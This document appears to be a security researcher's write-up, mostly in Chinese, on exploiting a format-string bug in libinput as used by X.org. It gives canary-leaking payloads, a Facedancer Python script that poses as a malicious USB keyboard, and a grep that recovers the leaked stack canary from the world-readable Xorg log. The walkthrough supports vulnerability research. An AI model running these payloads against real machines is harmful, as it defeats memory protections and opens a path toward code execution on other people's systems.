- Newly connected evdev devices are logged using evdev_log_msg.- The format parameter is manipulated at src/evdev.h:785 to prepend (among other things) the device name.- The resulting string buf is then passed as the format parameter to log_msg_va at src/evdev.h:796- In X.org (and probably other users of libinput), this logging function eventually leads into the system's sprintf.- If the device name contains printf-style formatting placeholders such as %s or %d, these will be passed on to the new format string, and interpreted incorrectly. User-controlled format strings are a known security vulnerability, CWE-134, and can be used by an attacker to execute malicious code.

基本上，问题归结为这样一个事实，即用户控制的输入在被用作调用sprintf().

在对 libinput 的特定组件进行更多挖掘时，我看到了一篇博客文章，其中记者谈到了意外绊倒这个问题及其根源过程（毫不奇怪，它实际上是一家安全公司，哈哈）。查看该帖子以获得对问题发生的确切位置的详细分析和描述。

所以，根本原因分析已经完成……但没有提供 poc 漏洞利用代码。报告者和开发人员之间围绕 git 问题中利用的可能性/合理性进行了有趣的讨论，他们讨论了潜在的利用途径和真正的影响/风险（查看详细信息）。tl;博士的决定是，该错误充其量只会为攻击者提供信息泄漏，而在最坏的情况下可能会导致代码执行。

考虑到这一点，我认为探索信息泄漏和 RCE 的潜力并为两者（希望如此）产生漏洞利用可能仍然值得。

漏洞利用：泄漏堆栈金丝雀

我从信息泄漏漏洞开始。信息泄漏可以提供的最有用的东西之一是泄漏堆栈金丝雀的能力，所以我决定这将是漏洞利用的目标。因为金丝雀值存储在堆栈中并且格式字符串参数是从堆栈中读取的，所以通常可以很容易地做到这一点。

测试环境：

不过，首先要做的事情是：为了使格式字符串对这种信息泄漏有用，需要有一种方法可以从程序中获取输出，以显示从堆栈中读取的值。值得庆幸的是，在这种情况下，输出被写入 Xorg 日志文件，这是世界可读的。确认后，下一步是确定堆栈金丝雀的确切位置，以便我们能够可靠地找到它。

约束：字段长度限制

在这种情况下，有一些限制使事情变得更加困难。每个字段的长度必须小于 126 个字符 - 这是因为保存字段的 USB 设备结构是 255 个字节，其中前 4 个保留用于保存字段的长度。根据 USB 规范，字符串值被解释为 UTF-16，因此剩余的 254 个字节被分成两半。

约束：附加 %s 格式字符串

当我开始测试有效载荷时，我几乎立即遇到的第一个问题是，我尝试的几乎每个有效载荷都会立即产生一个 SIGSEGV。为什么会发生这种情况并不是很明显，因为通常可以使用说明符%x来读取值而不会导致崩溃（因为读取发生在堆栈之外）。

具体来说，其中一个调用*sprintf_internal是将我提交的格式字符串添加到另一个包含另外 11 个%s说明符的字符串中，如下面的 GDB 输出所示

Thread 1 "Xorg" hit Breakpoint 1, __vsnprintf_internal (string=0x7ffce6903d65 "", maxlen=0x3fb, format=0x7ffce69041c0 "event7  - CCCC <CONTROLLED INPUT>: is tagged by udev as:%s%s%s%s%s%s%s%s%s%s%s\n", args=0x7ffce69041a8, mode_flags=0x2) at vsnprintf.c:95

[email protected]:~$ echo -n "%1\$s%2\$s%3\$s%4\$s" | ./toy[+] fmt string: '%1$s%2$s%3$s%4$s | %s%s%s%s\n'[+] args: '1111.', '4444.', '5555.', '6666.'
[+] result:1111.4444.5555.6666. | 1111.4444.5555.6666.

"%1$p.%2$p.%3$p.%4$p.%5$p.%6$p.%7$p.%8$p.%9$p.%10$p.%11$p.%12$p.%13$p.%14$p.%15$p.%16$p.%17$p.%18$p.%19$p.%20$p.%21$p.%22$p"

"%1$p%2$p%3$p%4$p%5$p%6$p%7$p%8$p%9$p%10$p%11$p%12$p%13$p%14$p%15$p%16$p%17$p%18$p%19$p%20$p%21$p%22$p.%23$p.%24$p.%25$p"

#!/usr/bin/env python3# pylint: disable=unused-wildcard-import, wildcard-importimport sysimport osimport loggingfrom facedancer             import devices, mainfrom facedancer.devices.keyboard import USBKeyboardDevice
prefix = "%1$c%2$c%3$c%4$c%5$c%6$c%7$c%8$c%9$c%10$c%11$c%12$c%13$c%14$c%15$c%16$c%17$c%18$c%19$c%20$c%21$c%22$c"canary_maybes = "X:%23$p_X:%24$p_X:%25$p" # grep for `X:0x.{14}00`payload = prefix + canary_maybes
print("[+] reading args from $FSERIAL, $FPRODUCT, and $FMANU env vars")serial = os.environ.get("FSERIAL", "C"*100)product = os.environ.get("FPRODUCT", "HYPRODUCT")manu = os.environ.get("FMANU", payload)
# create the device and connectDEVICE = USBKeyboardDevice()DEVICE.serial_number_string = serialDEVICE.manufacturer_string = manuDEVICE.product_string = productDEVICE.product_id = 0x1337DEVICE.vendor_id = 0x1337main(DEVICE)

# find it in the logsgrep -a -E "X:0x.{14}00" /var/log/Xorg.0.log